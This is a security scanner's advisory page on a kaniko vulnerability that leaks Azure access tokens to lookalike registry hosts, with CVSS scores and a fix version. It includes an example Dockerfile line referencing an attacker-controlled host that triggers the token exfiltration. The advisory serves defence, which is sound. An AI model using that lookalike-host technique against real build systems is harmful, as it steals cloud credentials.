SCA: security update for github.com/chainguard-dev/kaniko (GHSA-5q7h-w9jf-cx97)

critical Tenable Cloud Security Plugin ID 478563

Description

There are packages installed that are affected by a vulnerability referenced in the following CVE:

- kaniko before 1.25.20 can send a Microsoft Entra ID (Azure AD) access token for Azure Resource Manager to
an attacker-controlled registry host. kaniko uses the Azure Container Registry credential helper
github.com/chrismellard/docker-credential-acr-env, which decides whether a host is an ACR registry with an
unanchored regular expression, so any hostname containing .azurecr.io, .azurecr.cn, .azurecr.de or
.azurecr.us is accepted. kaniko consults this helper for any registry that has no credentials in the
Docker config and is not a Google or Amazon ECR registry, before contacting the registry. A Dockerfile
that references an image on a lookalike host, such as FROM x.azurecr.io.attacker.com/img or COPY
--from=<image>, causes the helper to obtain a token from the build's Azure identity (service principal
environment variables, federated workload identity token, or managed identity) and POST it to
https://<host>/oauth2/exchange. The attacker can use the token against Azure Resource Manager with the
identity's role assignments until it expires, and can exchange it for credentials to any ACR registry the
identity can access. No RUN instruction or push is required. This issue is fixed in 1.25.20.
(CVE-2026-105769)

Solution

Update the github.com/chainguard-dev/kaniko library and its related packages to version 1.25.20 or later.

See Also

https://github.com/advisories/GHSA-5q7h-w9jf-cx97

Plugin Details

Severity: Critical

ID: 478563

Version: Revision 1.1

Type: Local

Family: SCA Checks

Published: 11/5/2026

Updated: 11/5/2026

Risk Information

VPR

Risk Factor: Medium

Score: 6.8

Percentile: 96.3

Vendor

Vendor Severity: Critical

CVSS v2

Risk Factor: High

Base Score: 9.4

Temporal Score: 7

Vector: CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:N

CVSS Score Source: CVE-2026-105769

CVSS v3

Risk Factor: Critical

Base Score: 9.3

Temporal Score: 8.1

Vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N

Temporal Vector: CVSS:3.0/E:U/RL:O/RC:C

Vulnerability Information

Exploit Ease: No known exploits are available

Patch Publication Date: 11/5/2026

Vulnerability Publication Date: 11/2/2026

Reference Information

CVE: CVE-2026-105769